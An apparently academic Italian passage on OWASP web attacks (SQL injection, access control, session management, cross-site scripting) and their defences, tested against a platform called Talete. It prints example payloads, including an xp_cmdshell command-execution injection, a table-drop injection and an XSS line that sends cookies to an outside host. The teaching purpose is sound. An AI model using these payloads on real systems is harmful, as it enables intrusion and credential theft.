"select * from users where name like ‘Angelo%’ "
Lo sviluppatore web non ha purtroppo validato il contenuto della TextBox e un hacker
potrebbe sfruttare questa vulnerabilità semplicemente inserendo nella casella di testo la stringa:
" ‘ or ‘a’ like ‘a "
Lo statement SQL risultante dalla concatenazione sarebbe il seguente:
116

CAPITOLO VI - Gli attacchi e il progetto OWASP
"select * from users where name like ‘‘ or ‘a’ like ‘a%’ "
In sostanza la clausola “where” è sempre vera causando quindi la restituzione del contenuto
completo della tabella users.
Questo esempio non è che la punta dell’iceberg ed è solo il primo assaggio. Il peggio deve
ancora arrivare, ma questo può far riflettere gli sviluppatori poco accorti in quanto, essere
vulnerabili a questo tipo di attacco, è palesemente contrario alla normativa vigente in materia di
privacy con tutto ciò che ne consegue per legge.
Un altro punto interessante è che questo tipo di attacco non è direttamente dipendente dalla
tecnologia utilizzata o per dirlo in altri termini è un attacco cross-platform, funziona per
esempio su SQL Server, MySQL, Access, Oracle o FireBird, solo per citarne alcuni.
Naturalmente l’hacker in alcuni casi dovrà iniettare codice differente in base al database usato,
ma nessuno è immune a priori. La vulnerabilità è figlia della stessa natura del linguaggio SQL
che è espresso per mezzo di stringhe di testo; le soluzioni definitive esistono, ma purtroppo
sono snobbate da molti sviluppatori che sottovalutano la portata di questa vulnerabilità.
Fino a che punto una SQL Injection è pericolosa? Niente di meglio che un altro esempio per
rispondere a questa domanda, partendo dalla stessa query iniziale:
"select * from users where name like ‘ " + TextBox1.Text + "%’ "
l’hacker potrebbe scrivere nella TextBox (cioè iniettare) questo codice:
che risulterebbe in questa stringa:
"‘ ; select * from sys.tables -- "
"select * from users where name like ‘‘ ;
select * from sys.tables -- ‘ "
Questo statement ha tre punti fondamentali. Il primo è il ";" che permette la dichiarazione di
due distinte query all’interno di una stessa stringa; il secondo è l’uso di "--" per commentare
ciò che resta nella stringa. Non tutti i database permettono l’uso di ";" e/o di "--" ma questo non
è altro che uno degli esempi possibili. Il terzo punto è l’uso della view sys.tables di SQL2005.
In SQL2000 esiste la tabella sysobjects mentre nel MySQL esiste la tabella
INFORMATION_SCHEMA.TABLES, supportata anche da SQL2005. Ancora una volta
queste differenze non costituiscono alcun ostacolo per l’attuazione dell’injection.
117

CAPITOLO VI - Gli attacchi e il progetto OWASP
L’esecuzione della query appena vista restituisce l’elenco delle tabelle presenti nel database.
Fatto questo l’hacker passa a sys.columns (o syscolumns) e così via ottenendo la struttura
completa del database. Non contento potrebbe anche andare oltre e con sys.databases ottenere
la lista di tutti i database installati su quel server. L’hacker può così copiarsi il contenuto del
database e chi ritiene che ci voglia troppa pazienza certosina per portare a compimento questo
tipo di attacco, sappia che esistono tool che, in automatico, eseguono la copia di un database
sfruttando semplicemente un web vulnerabile alla SQL Injection.
6.2.2 Quanti danni può fare?
Dopo il furto, arrivano i danni e per esempio l’hacker può cancellare un’intera tabella
iniettando:
"‘; drop orders --"
Non bastasse, i danni più grossi arrivano iniettando query come queste:
"‘; exec master..xp_cmdshell ‘notepad.exe’--"
La extended stored procedure xp_cmdshell consente l’esecuzione di un arbitrario comando o
eseguibile analogo a quanto si potrebbe eseguire da command prompt del server. Avendo i
permessi di eseguire una query di questo genere, il server è completamente compromesso.
Eseguendola una serie di volte si possono progressivamente portare su quel server (ad esempio
via tftp) delle utility per fare le cose più disparate: controllo remoto del server via socket,
cattura delle password del server, furto dei dati, crash del server, sniffing della rete interna, e
quanto altro ci si possa immaginare, il tutto solo con SQL Injection anche in totale assenza di
bug o di vulnerabilità del database o del sistema operativo.
Questo rischio ha portato Microsoft ha decidere di disabilitare per default la xp_cmdshell ma,
ancora una volta, questo non è certamente l’unico modo per poter sfruttare SQL Injection e la
118

CAPITOLO VI - Gli attacchi e il progetto OWASP
sua disabilitazione non è certamente una garanzia assoluta. Perché è possibile portare a
compimento un attacco di questo genere? Per portare a compimento gli attacchi che abbiamo
visto su SQL2005, oltre ad essere vulnerabili alla SQL Injection, sono stati fatti almeno tre
errori di configurazione, ciascuno non meno grave dell’altro. Il primo errore consiste
nell’accedere al database con privilegio amministrativo. Tipicamente per pigrizia si accede con
l’utente "sa" (analogo del root in MySQL) acronimo di "system administrator" che ha i
massimi privilegi possibili sul database. L’uso di sa fa risparmiare una decina di minuti, giusto
il tempo di creare un nuovo utente ‘normale’ e configurarlo con i minimi privilegi necessari.
Un utente sprovvisto del permesso "control server" non può eseguire xp_cmdshell e questo
ripaga già dei dieci minuti spesi per la configurazione. Attenzione che questo non è sufficiente
a garantire la sicurezza. Ad esempio chiunque nel ruolo public può effettuare la schedulazione
dei job in SQL Server. Con l’aiuto di una stored procedure scritta male è possibile schedulare
l’esecuzione di un job con il privilegio assegnato al servizio SQL Server Agent.
Il secondo errore è quello di permettere l’accesso diretto alle tabelle. Una buona pratica è
quella di far accedere l’utente appena creato alle sole stored procedure in modo da limitare il
raggio di azione dell’hacker. Ancora una volta è importante non cadere nel tranello di
un’equazione "stored procedure = sicurezza e performance" che non è sempre vera.
Il terzo errore origina dall’installazione database server, quando abbiamo configurato il servizio
di SQL Server. Se il servizio gira sotto le credenziali di localsystem o di un utente
amministratore del PC, i comandi attuati dalla xp_cmdshell saranno anch’essi eseguiti con le
stesse credenziali. Questo è quello che consente all’hacker di prendere il controllo completo del
server.
119

6.2.3 Quale linguaggio e quale tecnologia?
CAPITOLO VI - Gli attacchi e il progetto OWASP
Fino ad ora non abbiamo neppure citato il linguaggio di sviluppo o la tecnologia che i web
server (o il windows client) usano per eseguire le query sul database; questo perché sono
ininfluenti. Sia questo un sito asp classico, php, jsp, Asp.NET o cgi, il problema è solo causato
dallo sviluppatore che non valida l’input dell’utente e non dalla tecnologia usata.
Validare bene l’input utente non è una cosa da inventare e poi perché rifare una cosa che esiste
già ed è collaudata? La soluzione bella e pronta sta nella collection dei parametri del command.
Sia che si parli di ado classico che di ado.net, entrambi prevedono l’uso dei command e di una
collection di parametri, soluzione presa in considerazione nella scrittura del codice
dell’applicazione sviluppata. Di seguito è riportato un pezzo del codice della classe
Concessionario.cs in cui è possibile notare l’uso dei parameters nelle query eseguite su
database MySQL:
120

CAPITOLO VI - Gli attacchi e il progetto OWASP
Figura 63 Uso dei parameters in Talete
Avendo utilizzato il parametro ?id nel metodo Load() e l’aggiunta del parametro nella
collection dei parameters, abbiamo eliminato i rischi da injection, così come negli altri due
metodi della figura InsertConcessionario e DeleteConcessionario.
Ogni dbms ha la propria sintassi per la descrizione di un parametro. In MySQL, così come in
MS Access, si utilizza il punto interrogativo (“?”) seguito dal nome del parametro, mentre in
SQLServer si utilizza la chiocciola (@). In questo caso risulta importante l’ordine con cui
vengono specificati i parametri di selezione.
121

CAPITOLO VI - Gli attacchi e il progetto OWASP
Questa costituisce la migliore soluzione per fronteggiare la SQL Injection, ma la sicurezza non
si costruisce mai su un solo fronte. Oltre a scrivere codice sicuro è fondamentale aggiungere le
altre contromisure (citate precedentemente) sulla configurazione del database server.
6.2.4 Proteggersi dalla SQL injection
Come si è già accennato, l’unica possibilità di protezione è un controllo sui dati ricevuti da
parte del programmatore, durante lo sviluppo del programma. In altre parole, bisogna
assicurarsi che l’input ricevuto rispetti le regole necessarie, e questo può essere fatto in diversi
modi:
- controllare il tipo dei dati ricevuti (se ad esempio ci si aspetta un valore numerico,
controllare che l’input sia un valore numerico);
- forzare il tipo dei dati ricevuti (se ad esempio ci si aspetta un valore numerico, si può
forzare l’input affinché diventi comunque un valore numerico);
- filtrare i dati ricevuti attraverso le espressioni regolari (regex);
- sostituire i caratteri pericolosi con equivalenti caratteri innocui (ad esempio in entità
html);
Ovviamente, questi metodi possono essere applicati anche insieme sullo stesso dato in input. La
scelta varia a seconda delle tipologie di questi dati. Occorre, quindi, prestare particolare
attenzione a tutte le varianti di un input, tenendo conto di ogni possibile (oppure improbabile)
ipotesi.
122

6.2.5 I vantaggi nascosti
CAPITOLO VI - Gli attacchi e il progetto OWASP
Per rendere più “attraente” l’uso dei parameters nei command anche ai più scettici, vediamo
adesso quali altri vantaggi ne derivano.
Il vantaggio più evidente per lo sviluppatore riguarda i rognosi problemi dei separatori dei
decimali, date e ora. Un comando SQL che non fa uso dei parametri deve necessariamente
convertire il DateTime in stringa:
string str = "select * from orders where OrderDate>" + MyDate.ToString();
Il DateTime internamente non ha cognizione dei separatori, tanto meno del nome, dei giorni o
dei mesi. Nel Framework. .NET il DateTime è un numero a 64bit in cui ogni unità rappresenta
cento nanosecondi a partire dall’anno zero. In sostanza è un offset da una data convenzionale
ed ha una granularità molto bassa che ci permette di rappresentare con esattezza un istante
temporale.
Il risultato della conversione da DateTime a stringa è relativo a dove viene fatta la conversione.
Negli USA la data del 6 Luglio 2005 sarà 7/6/2005, in Italia 06/07/2005 ed in Svizzera
06.07.2005. Questa impostazione deriva dai settaggi internazionali di Windows associati al
profilo dell’utente il cui token ha fatto partire il processo della nostra applicazione.
123

CAPITOLO VI - Gli attacchi e il progetto OWASP
Figura 64 Conversione del DateTime nelle query SQL
Se quindi l’applicazione parte a seguito di un doppio click, il formato della data dipenderà dalle
nostre impostazioni internazionali. Nel caso di un web server l’applicazione web tipicamente
gira con un utente senza profilo (aspnet, network_service, etc.) per questo vengono utilizzate le
impostazioni di ‘default’ che sono quelle scelte da chi ha installato il server e registrate nella
chiave di registro HKEY_USERS/.Default/....
La soluzione sbagliata è quella dell’uso della funzione CONVERT del database che interpreta
la stringa e la riconverte in data. La soluzione corretta è quella di non far mai avvenire le due
conversioni da data a stringa (che avviene di default nell’applicazione) e da stringa a data (che
avviene all’interno del database server).
Usando i parameters, come nel codice di Talete, non vengono fatte conversioni. Il DateTime
viene portato dall’applicazione al webserver nel formato binario nativo, senza trasformazioni in
124

CAPITOLO VI - Gli attacchi e il progetto OWASP
stringa con vantaggio sia del programmatore che eviterà i problemi dei separatori, sia del
database administrator che eviterà l’uso di CONVERT all’interno delle query, e anche del
cliente che avrà un’applicazione più performante.
Figura 65 Uso dei parameters con le date
Il guadagno in performance non è solo dato dalla mancata doppia conversione. Il vantaggio sta
anche nella compilazione della query. Se la stringa della query cambia ogni volta a causa dei
parametri, questa dovrà essere ricompilata ogni volta dal database. Se invece la query è
parametrizzata, verrà compilata solo la prima volta e le successive esecuzioni saranno molto
più performanti. Il performance monitor di Windows (SQL Statistics - SQL Compilations/sec e
SQL Re-Compilations/sec) ci rivela in modo lampante questo vantaggio; un esempio del codice
di Talete si ha nella classe Concessionario.cs con la proprietà Organizzazioni che ritorna
l’elenco di oggetti di tipo Organizzazione che soddisfano la clausola “where”:
125

CAPITOLO VI - Gli attacchi e il progetto OWASP
Figura 66 Proprietà “Organizzazioni” della classe Concessionario
6.2.6 Tentativi di SQL Injection in Talete
Per verificare l’effettiva sicurezza e protezione della piattaforma Talete da attacchi di tipo SQL
Injection ho effettuato una serie di tentativi di violazione del database, eseguiti tramite i vari
form d’inserimento di cui il sito web della piattaforma dispone.
Inizio con il valutare i vari tipi di risposta che posso ricevere dall’esecuzione della pagina; oltre
al caso ovvio e non interessante di inserimento corretto e valido dell’input, generalmente
dovrebbero essere forniti messaggi d’avviso da parte della pagina web stessa nel caso di
inserimenti sintatticamente validi ma che non trovano riscontro nelle tabelle utenti contenute
nel database (il classico caso dell’errore di digitazione) ed i messaggi d’errore forniti dal web
server in caso di non corretta esecuzione della query SQL (ovvero quelli causati da inserimenti
“malevoli”). Provo ad introdurre valori casuali nei form e ad avviarne l’esecuzione; anziché
essere mostrati messaggi d’avviso il browser mi visualizza la pagina di partenza richiedendo le
credenziali. Provo inoltre ad inserire semplici caratteri che si suppone possano causare un
126

CAPITOLO VI - Gli attacchi e il progetto OWASP
malfunzionamento della query inoltrata al database, come ad esempio l’apice “ ‘ ” ed i caratteri
di commento “ -- ” o “ /**/”. Anche in questo caso il browser si limita ad aggiornare la pagina
iniziale senza modificarne minimamente il contenuto; lo stesso avviene con le TextBox
all’interno come quella presente all’interno della pagina dei Concessionari che serve per la
creazione di un nuovo consulente. In essa, grazie ad un validatore e al codice scritto
correttamente, qualsiasi stringa con caratteri diversi da quelli che indicherebbero il nome di un
nuovo consulente, viene rigettata.
Questo evidenzia che il sito è stato predisposto in modo tale da nascondere un qualunque tipo
di informazione che potrebbe essere utile ad un eventuale hacker (nel caso specifico il
sottoscritto).
Dopo numerosi tentativi e varianti la pagina web sembra rigettare ogni inserimento
sintatticamente non corretto, dimostrando di essere effettivamente ben progettata contro i
pericoli di SQL injection.
E’ stata ricercata anche un’anomalia che pur non avendo a che fare con le tecniche di SQL
injection riguarda comunque la sicurezza dell’accesso alla piattaforma; in caso di login corretto
il browser web viene indirizzato ad una pagina che ad esempio chiamiamo Prova.asp, dove in
base ad un “id” specificato dalla richiesta http ci verrà fornito l’accesso al materiale desiderato.
Conoscendo già il percorso completo di tale pagina Prova.asp all’interno del sito è possibile
accedere direttamente ai contenuti di tale pagina semplicemente specificando nell’argomento
della GET un Id valido, saltando così completamente la fase di riconoscimento tramite
username e password. In Talete anche questa prova ha dato esito negativo, in quanto, senza il
login, l’accesso al sito non viene permesso.
Quindi per concludere è possibile affermare che tutti i dati forniti dall’utente sono sottoposti a
meccanismi di validazione per il raddoppio degli apici o ad altre tecnice, che nel caso di input
di tipo stringa come quelli utilizzati nel sito rendono quasi impossibile un qualunque tipo di
injection. A seguito di questo riscontro è possibile ribadire l’effettiva sicurezza del sito da parte
degli attacchi di SQL Injection; da notare la presenza fondamentale dell’opzione
runat=”server”, che specifica il fatto che le operazioni previste dal form dovranno essere
eseguite dal server e non dal client.
127

6.3 Broken Access Control
CAPITOLO VI - Gli attacchi e il progetto OWASP
All’interno di applicazioni web multiutente, come lo è Talete, sono spesso presenti dei
meccanismi di autorizzazione denominati controlli d’accesso. La corretta implementazione
consente di associare ad ogni tipologia d’utenza un corrispettivo gruppo di appartenenza con
ruoli, credenziali e privilegi diversi. La gestione delle autorizzazioni deve iniziare dalla
formalizzazione di alcune policy che regolano che cosa è lecito per ogni diversa classe
d’utenza; già durante la fase di design è importante considerare attentamente ogni singolo
aspetto.
Nella fase successiva, quella dell’implementazione, è bene evitare alcuni classici errori:
• Parametri non controllati: le applicazioni usano le informazioni presenti nella
richiesta HTTP per decidere come rispondere. Un attacco potrebbe avvenire
modificando una qualsiasi parte della richiesta HTTP, l’url, la querystring, gli headers, i
cookies o i campi dei form.
Per ovviare a questo tipo di attacchi è importante filtrare i dati in arrivo, ci sono tre
politiche principali per il filtraggio:
1. Accettare solo dati validi
2. Rifiutare dati non validi
3. Sanare i dati in arrivo
La prima opzione è la più sicura, imposizioni di lunghezza e formato limitano molto le
possibili manomissioni, al contrario un filtro che elimina alcuni caratteri speciali potrebbe
essere facilmente oltrepassato con una qualche codifica.
Un altro importante regola è quella di non fidarsi mai di un controllo di validità lato client,
questi controlli sono utili da punto di vista delle performances e dell’usabilità, ma sono
molto semplici da evitare.
• File permission: molti server web utilizzano sistemi di controllo d’accesso forniti dal
file system della piattaforma in uso. Anche se tutti i dati vengono conservati su server
posizionati nel backend, ci sono sempre dei file conservati localmente sui web e
application server che non devono essere accessibili da tutti (file di configurazione, file
128

CAPITOLO VI - Gli attacchi e il progetto OWASP
default e script). Solamente i file che devono essere visualizzati dagli utenti via web
devono essere marcati come leggibili usando il sistema di gestione dei permessi del
sistema operativo (la maggior parte delle directory deve essere nascosta e pochissimi
file, se non nessuno, deve essere marcato come eseguibile).
• Forced browsing per superare una restrizione d’accesso: molte applicazioni, tra cui
Talete, prevedono dei controlli prima di accedere ad un indirizzo profondamente
nidificato all’interno del sito. È necessario evitare che un utente possa saltare tali
controlli forzando la navigazione (es: non fidarsi della variabile HTTP_REFERER).
• Insecure ID: non bisogna affidarsi alla segretezza degli ID usati comunemente per
distinguere gli utenti, i gruppi di appartenenza e quindi i relativi privilegi. Se un
aggressore riuscisse a leggere tali valori e capire la logica dell’assegnazione (es: il
valore "0" per l’utente root) potrebbe generare delle richieste HTTP modificate,
scardinando il meccanismo di controllo implementato. Fondamentale in Talete è il
parametro ID presente nelle query; in pratica se fosse l’unico parametro presente,
chiunque potrebbe provare ad indovinare quell’id scrivendone uno a caso. In questo
modo, se l’id fosse presente, sarebbero visualizzati dei dati che non dovrebbero essere
mostrati. Per questo, nelle query di Talete, è stato inserito un altro parametro, che è l’id
dell’organizzazione, in modo tale che, se l’id tirato a caso dall’utente di quella stessa
organizzazione è giusto, i dati vengono mostrati (ma comunque è un utente appartenente
a quell’organizzazione), altrimenti la query non restituisce alcun risultato perché non
viene specificato l’esatto parametro relativo all’id dell’organizzazione.
• Client Side Caching: le pagine salvate in cache dai moderni browser sono un pericolo
costante per la riservatezza dei dati di quelle persone che navigano attraverso postazioni
pubbliche (scuole, internet point, etc.). Si dovrebbe adottare tutte le soluzioni tecniche
per evitare il caching delle pagine contenenti informazioni sensibili oppure dati
129

CAPITOLO VI - Gli attacchi e il progetto OWASP
importanti, quali ad esempio particolari permessi (ad es. amministratore) o informazioni
private.
• Path trasversale: questo attacco coinvolge l’uso di indirizzi relativi (es.
"../../somedir/somefile.txt") per accedere a risorse che normalmente non dovrebbero
essere disponibili.
6.4 Broken Authentication e Session Management
Nelle moderne applicazioni web, la gestione dell’autenticazione è uno dei primi meccanismi
messo in atto per discriminare un utente riconosciuto da uno estraneo. Solitamente l’utente si
presenta (fase di identificazione) inviando username e password che attesta la sua conoscenza
del "segreto condiviso" (fase di autenticazione).
A seguito di questa procedura, per la natura stateless del protocollo HTTP, è necessario tener
traccia delle operazioni compiute durante la navigazione dal singolo navigatore; pensiamo ad
una tipica applicazione commerciale, in cui è necessario mantenere un carrello virtuale con i
prodotti acquistati dall’utente. Per dotare le applicazioni web di questa funzionalità, negli anni
sono state sviluppate numerose tecniche ma, ad oggi, la più comune è quella basata su token di
sessione. In pratica, nella fase che segue l’autenticazione, il server associa al client un ID di
sessione che distinguerà univocamente un utente da un altro; ogni qualvolta il browser
dell’utente effettua una richiesta verso l’applicazione invia anche tale identificativo,
permettendo di tracciare le varie operazioni compiute nel tempo. Sul lato client tale
informazione è spesso memorizzata all’interno dei cookie. Nella figura successiva è
schematizzato il classico meccanismo dei session token.
130

CAPITOLO VI - Gli attacchi e il progetto OWASP
Figura 67 Gestione dei token di sessione
Per quanto riguarda la gestione delle sessioni è fondamentale proteggere l’ID di sessione
utilizzando un canale di trasmissione sicuro in maniera da ridurre il rischio di intercettazione; è
altresì importante utilizzare identificativi che siano difficili da generare e composti, in maniera
casuale, facendo uso di complicate catene di numeri e caratteri. Se i token di sessione non
vengono adeguatamente protetti, un aggressore potrebbe dirottare una sessione attiva e
assumere il ruolo di un malcapitato utente.
La difesa a questo rischio non consiste solo nel rendere sicura la trasmissione del cookie (come
viene fatto adoperando SSL) ma piuttosto è necessario, nell’applicazione web, capire se il
session id allegato ad una richiesta è valido oppure corrotto, cioè applicare uno schema di
gestione della sessione.
Esistono diversi schemi di gestione delle sessioni utente:
• time-out della sessione: sappiamo che un attacco richiede del tempo, sia per quanto riguarda
la preparazione sia per la sua messa in atto. Una sessione che non ha scadenza nel tempo
può dare all’attaccante un tempo infinito a sua disposizione. Inserendo invece una scadenza
(time-out) che invalida l’id di sessione, forzando la cancellazione dei dati accumulati, limita
in modo significativo tale possibilità ed evita alcuni problemi come il mantenimento in
cache delle informazioni (specialmente quando si utilizzano proxy) ;
131

CAPITOLO VI - Gli attacchi e il progetto OWASP
• rigenerazione dell’id: questa è una delle tecniche trasparenti all’utente secondo la quale, in
un istante arbitrario, il server cambia l’identificativo di sessione dei dati memorizzati,
aggiornando tale valore nelle risposte fornite al client. Il risultato è simile al time-out, cioè
l’id viene invalidato, ma questa volta il cambiamento del numero non tiene conto del tempo
di vita della sessione o del tempo di inutilizzo, ma è casuale. In PHP è stata predisposta una
funzione apposita (session regenerate()) per la rigenerazione del session id. Tale
funzionalità rende semplicissima l’attuazione di tale contromisura ;
• brute-forcing detection: questa misura di sicurezza viene espletata bloccando l’accesso a
quelle macchine (definite tramite il loro ip o nome dell’ host) che inviano molte richieste
con id errato (estrapolato da bruteforcing) in un tempo troppo breve per essere considerate
accidentali;
• riautenticazione: le operazioni più critiche possono essere salvaguardate annullando
l’autenticazione effettuata dall’utente in modo tale da controllare la sua identità
immediatamente prima dell’esecuzione dell’operazione critica ;
• trasmissione dell’id: se un id viene catturato in fase di trasmissione dello stesso sulla rete,
l’account viene facilmente esposto a duplicazione o attacco di hijacking. La scelta riguardo
il mezzo di trasporto dell’id risulta quindi determinante per quanto riguarda la salvaguardia
della riservatezza.
Asp.NET implementa un meccanismo di gestione della sessione molto avanzato; in Talete, e in
particolare nel file web.config, sono due gli elementi da considerare e da specificare:
1. è stata impostata a true la proprietà FormsAuthentication.SlidingExpiration, che
specifica se è abilitata la scadenza variabile, che consente di reimpostare il tempo di
un cookie di autenticazione attivo in modo che scada a ogni richiesta durante una
singola sessione. Se impostata a true indica che è attivata la scadenza variabile e
quindi il cookie di autenticazione viene aggiornato e la scadenza viene reimpostata a
ogni richiesta durante una singola sessione. Mentre con false si specifica che la
scadenza variabile non è attivata e che il cookie scade dopo un determinato periodo
di tempo dalla propria emissione. Ovviamente l’intervallo di tempo, espresso in
132

CAPITOLO VI - Gli attacchi e il progetto OWASP
minuti interi, trascorso il quale il cookie scade viene specificato con l’attributo
timeout.
2. È stata impostata al valore AutoDetect la proprietà SessionStateSection.Cookieless.
L’ID univoco che associa il client a una sessione server può essere archiviato in due
modi dallo stato sessione: tramite l’archiviazione di un cookie HTTP sul client o
tramite la codifica dell’ID di sessione nell’URL. L’archiviazione dell’ID di sessione
nel cookie risulta più sicura, ma richiede il supporto dei cookie da parte del browser
del client. Nel caso delle applicazioni che consentono client che non supportano
cookie, ad esempio alcuni dispositivi mobili, l’ID di sessione può essere archiviato
nell’URL. Tale opzione presenta svariati svantaggi. È necessario che i collegamenti
nel sito siano relativi e che la pagina sia reindirizzata all’inizio della sessione con
nuovi valori di stringa di query. L’ID di sessione viene inoltre esposto nella stringa
di query e può essere quindi rilevato e utilizzato in un attacco alla sicurezza.
È consigliabile utilizzare la modalità senza cookie solo se risulta necessario
supportare client privi di supporto per i cookie.
Lo stato sessione supporta inoltre due opzioni aggiuntive: UseDeviceProfile e
AutoDetect. La prima opzione consente al modulo dello stato sessione di determinare
quale modalità, ovvero con o senza cookie, viene utilizzata su base client, a seconda
delle capacità del browser. Con l’opzione AutoDetect Asp.NET è “così intelligente”
da capire da solo se usare i cookie oppure l’Url; infatti essa consente di eseguire un
handshake con il browser, per verificare se è possibile archiviare un cookie, e
prevede quindi un’ulteriore richiesta per determinare la modalità da utilizzare. In
pratica viene inviato il cookie e si esegue una redirect verso una pagina che controlla
la presenza del cookie; se la pagina di controllo non riceve il cookie significa che il
client non li supporta e inserisce il ticket di login nell’Url. In generale, se è
necessario supportare client senza cookie, è consigliabile prendere in considerazione
l’utilizzo del campo UseDeviceProfile per generare cookie senza URL solo per i
client che li richiedono.
133

CAPITOLO VI - Gli attacchi e il progetto OWASP
Il meccanismo di autenticazione e la gestione delle sessioni sono elementi importanti per
assicurare dei requisiti minimi di sicurezza nelle applicazioni web.
L’utilizzo di password considerate "deboli", ovvero composte da pochi caratteri (solamente
alfabetici), che compongono parole d’uso comune nella lingua considerata, è una pratica
sconsigliata in quanto rende possibile un attacco a forza bruta basato su dizionari. Un sistema
di autenticazione dovrebbe imporre una lunghezza minima e dei criteri di complessità per le
password scelte dagli utenti, questo rende più complesso il trovare una password tirando ad
indovinare Tutte le password devono essere conservate sotto forma di hash oppure cifrate in
qualsiasi modo esse vengano conservate ed è la soluzione adoperata nella nostra applicazione.
E’ preferibile l’utilizzo di una funzione di hash, in quanto non reversibile. E’ importante non
mantenere nei log informazioni come username e password, i log potrebbero essere in uno
spazio insicuro. Tra le altre cose dovrebbe essere configurato un numero prefissato di tentativi
di login per unità di tempo. I tentativi falliti dovrebbero essere loggati. Per le stesse ragioni è
consigliabile inoltre adottare delle policy di cambio password che non permettano
l’inserimento di parole chiave già utilizzate in passato; ad un cambio di password all’utente
dovrebbe essere sempre richiesto l’inserimento della vecchia e della nuova password,
analogamente dovrebbe essere richiesta un’ulteriore conferma per il cambio di mail, altrimenti
qualcuno potrebbe inserire il proprio indirizzo e poi richiedere la password "dimenticata" .
Bisogna proteggere le credenziali in transito, e l’unica tecnica efficiente è quella di proteggere
tutta la fase di login utilizzando protocolli come SSL. La semplice trasformazione in hash della
password, prima della trasmissione della medesima, fornisce una scarsa protezione. La
transazione potrebbe essere intercettata e ritrasmessa anche se l’attuale password non è nota.
I sistemi dovrebbero essere progettati in modo da evitare l’accesso alla lista dei nomi degli
account presenti sul sito. Se queste liste devono essere mostrate, si raccomanda di usare degli
pseudonimi che mappano i nomi veri degli account. In questo modo, lo pseudonimo non può
essere utilizzato per un tentativo di login o per altri metodi di attacco su di un account utente.
Altro elemento da tener presente è la cache del browser: i dati di autenticazione e di sessione
non dovrebbero mai essere trasmessi come parte della GET; al contrario dovrebbero essere
utilizzate sempre delle POST. Le pagine di autenticazione dovrebbero essere marcate con il tag
134

CAPITOLO VI - Gli attacchi e il progetto OWASP
“no cache”; in questo modo si può prevenire la possibilità di usare il tasto “back” per tornare
alla schermata di login e reinviare le credenziali utilizzate precedentemente.
6.5 Cross Site Scripting
Il cross site scripting è una tipologia di attacco che può essere portato a compimento anche se
solo uno dei tre attori principali della società informatica, cioè utenti, sviluppatori e
amministratori di sistema, è incauto.
Si tratta di una vulnerabilità che consente ad eventuali aggressori di inserire del codice
arbitrario all’interno delle applicazioni web, così da modificarne il comportamento per
perseguire i propri fini illeciti. Il codice inviato, spesso sotto forma di script (JavaScript,
VBScript e così via), verrà eseguito senza alcun controllo dal browser dell’utente poiché
inoltrato da una sorgente ritenuta sicura: il server web da cui proviene la pagina.
Figura 68 XSS con un sito vulnerabile
1. l’hacker crea uno script nato per girare nel browser del client
2. l’hacker inietta in qualche modo lo script nel web server
3. il web server consegna lo script a uno o più client
135

CAPITOLO VI - Gli attacchi e il progetto OWASP
Quando il client lo esegue fornisce delle informazioni all’hacker che non avrebbe dovuto dare.
La web application è colpevole in quanto vulnerabile e consegna lo script dell’hacker al client;
l’attacco funziona anche in assenza di vulnerabilità del browser e dei sistemi operativi di client
e server.
Come esempio si può provare a scrivere su un forum nel testo:
location=‘http://www.notrace.it/’;
Successivamente si può salvare questo testo su un forum non protetto da questo attacco e come
risultato si avrà che chi carica la pagina con il messaggio, sarà reindirizzato al sito
www.notrace.it
Vediamo un esempio più pericoloso con questo testo:
document.location=‘http://www.sito.com/leggo-
cookie.asp?’+document.cookie
Con questa riga si possono leggere i cookie rilasciati dal sito vittima e inviarli ad una pagina
appositamente creata.
La prima domanda che salta in mente allo sviluppatore riguarda la sicurezza degli script. Non
erano forse stati pensati per essere intrinsecamente sicuri? È noto che gli script possono
accedere ad un numero limitato di risorse e che il browser impedisce loro, tra le altre cose, di
accedere ad un arbitrario file su disco o di eseguire chiamate di sistema. Il fatto è che gli script
possono essere considerati sicuri in quanto eseguiti nel contesto dell’applicazione web per cui
sono stati scritti. Non è certamente di interesse per un sito divulgare le informazioni sensibili
che gli sono state affidate dall’utente; diverso è se lo script è pensato da qualcuno che vuole
rubare queste informazioni.
Rivalutando gli script in quest’ottica, ecco che le risorse a cui devono poter accedere possono
risultare a rischio; tra queste ci possono essere i dati presenti nella pagina web del sito
vulnerabile, i dati prelevabili con richieste Get/Post/XmlHttp al sito di provenienza, i cookie
persistenti o ancora dei dati XML usati per esempio da Ajax.
Descritto il meccanismo a grandi linee, entriamo in maggiore dettaglio cominciando a
suddividere gli attacchi di cross site scripting in due macrocategorie: attacchi stored e
136

CAPITOLO VI - Gli attacchi e il progetto OWASP
attacchi reflected. I primi si verificano quando il codice nocivo è conservato dall’applicazione
stessa e viene presentato all’utente ogni qualvolta si accede ad una specifica pagina (es: un
messaggio, all’interno di un forum, che contiene JavaScript). Nella seconda categoria rientrano
quegli attacchi che utilizzano altri canali di comunicazione (es: email, messaggi attraverso IM
client e così via) per trasmettere un link "modificato", il quale reindirizzerà il codice verso
l’utente.
Uno degli attacchi di cross site scripting più diffusi inizia con un attacco di social engineering
che ha come mezzo una apparentemente innocua email che promette una vincita milionaria
sicura. In mezzo alle milioni di email di spam che girano su internet, molte sono un attacco di
cross site scripting.
Credo che nessuno possa negare che tragicamente non sarebbero pochi gli utenti a cliccare sul
link per cercare di riscuotere la presunta vincita milionaria.
Figura 69 Esempio di attacco di “ cross site scripting”
Al click dell’utente si apre, ad esempio, il sito della banca che l’hacker ha prescelto in quanto
vulnerabile al cross site scripting e di cui presume che l’utente ne sia un cliente. Il risultato è
l’apertura del browser che non desta alcun sospetto all’utente che brama la vincita fortunata. A
137

CAPITOLO VI - Gli attacchi e il progetto OWASP
questo punto il browser esegue una GET o POST della pagina vulnerabile del sito della banca
trasmettendo lo script avvelenatore.
Come risultato il browser riceve la pagina inquinata dallo script che viene eseguito
immediatamente. Lo script, essendo stato scaricato dal dominio del sito della banca, ha accesso
al cookie che incautamente custodisce le credenziali per accedere alle operazioni sul conto
corrente, e che viene prontamente trasmesso all’hacker. Infine viene subito caricata un’altra
pagina per non insospettire l’utente. Di tutta questa operazione l’utente non fa in tempo a
vedere il caricamento della pagina della banca in quanto avviene in tempi rapidissimi. Il furto
delle credenziali è avvenuto e l’utente con tutta probabilità non si è accorto di nulla.
Le vulnerabilità XSS possono essere sfruttare dall’aggressore in molti modi; di seguito sono
mostrati alcuni possibili scenari che ne evidenziano la pericolosità:
• Session Hijacking: è sicuramente l’utilizzo illecito più comune; in questo modo un
aggressore può rubare le credenziali dell’utente e utilizzare l’applicazione con i
privilegi di quest’ultimo. Solitamente questo attacco è attuato inviando un semplice
script all’interno del sito vulnerabile e forzando l’utente a visitare la pagina che contiene
